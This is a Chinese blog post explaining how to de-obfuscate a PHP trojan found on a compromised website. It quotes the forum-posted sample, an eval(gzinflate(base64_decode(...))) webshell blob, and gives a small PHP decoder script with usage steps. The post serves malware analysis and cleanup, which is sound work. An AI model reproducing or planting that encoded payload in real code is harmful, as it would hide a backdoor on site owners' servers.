一个PHP 代码加密（gzinflate）的解密脚本

最新推荐文章于 2025-09-07 12:24:26 发布

原创最新推荐文章于 2025-09-07 12:24:26 发布 · 2.6k 阅读

1 ·

本内容遵循CC 4.0 BY-SA版权协议

标签

#脚本 #PHP #FP

T_L_PHP 专栏收录该内容

58 篇文章

订阅专栏

针对网站被挂载的加密马，本文提供了一段具体的PHP木马代码及其解密脚本。通过一系列步骤，包括使用base64_decode和gzinflate等函数，可以逐步还原加密木马的真实内容。

看到某论坛上有人报告说网站被挂加密马，贴出来的马码如下：

<?php
eval(gzinflate(base64_decode('DdI5jptQAADQ3pIPkWpmQmHMjhJlZAzfGGwGsAFDE302Ax+zGS/8a2VrUkRJpGjqadMlXS4Qpcqc4DXv/s3r+yZrxqPJy/Ho/b+vf54ef7z78vHD909/H38//fr89O3ni/Ho5WQ8Ss6wvN3jvEpL2Ce3ITwmHPM2TqI6Tm5v5FjnUdNYs5ls0RmaLPtdGx6BWyFuiGyJtO2FMCheNmykiN639dLA6dD2GnLQgMQKGiW9Ya1oaIMVlr1UIHqPyZfNKeO7c9zz4iRd8eIZi3wSmTwvihPTFLhJiEmC7oprGuOCdvlEhnhXZ7kvSmzJXkKCSNZRIgjhYkfwGV3ivd7bCil4h2nDqfrActfIA1fUHsn11i2z7bXo8y4c0gAGgOH2SB7k2pTcY85QwbJbSg/ypeQfugSQydauj0Y32NBRHI52vV0zU2BHwT5NVykSOtLG52lxtDChM6Y15EHp5TaJVvRG0Qtuubn6XbHQA42dsUVsMRsJ4CymdoWD16rilUbkVEStNEFIAcfnHdG1s0zZA3ewGmOeV01gIwD7cpVX2qqsmu6UWP6aAkUBnmX/AHzCMOzQbC6eZPG9TcEFCucXtpQoP9BqVd63EjGl53BnPrRkvFahovVKMmVW3s4/Movs4nYnQndDpB5mpELm2RBuZUNtD/78oQj6QK0cL5LbXO45dpbXBwiracRWolz5FhCnhCUroAMiZ9Tant7p264EJ9HZpEypEEyt4ah2NJdcIGoeK0iNVZ1tQJHgy/aKpNXhEmGBniR2w4cbMI8MgZrOD24cCVapRCZny7iAHnGe1Se4cEHQb5HSaPh4gstlaxZ0KqZnseyxSdCEk97c3d29Go/un6v/Bw==')));
?>

小研究了一下，拼凑出一个解密脚本:

<?php
$str=file_get_contents('e.txt');
while (preg_match("/eval\(gzinflate\(base64_decode\('([^']*)'/",$str,$match)){
 $str=base64_decode($match[1]);
 $str=gzinflate($str);
 echo $str;
}
$fp=fopen('d.txt','w');
fputs($fp,$str);
fclose($fp);
?>

用法如下：

1、把木马内容保存到一个文件中，命名为e.txt
2、在相同目录再建一个空文件，命名为d.txt
3、在把解密脚本保存为文件： decode.php

4、在命令行窗口执行decode.php，执行完成后，d.txt里的就是解密木马了。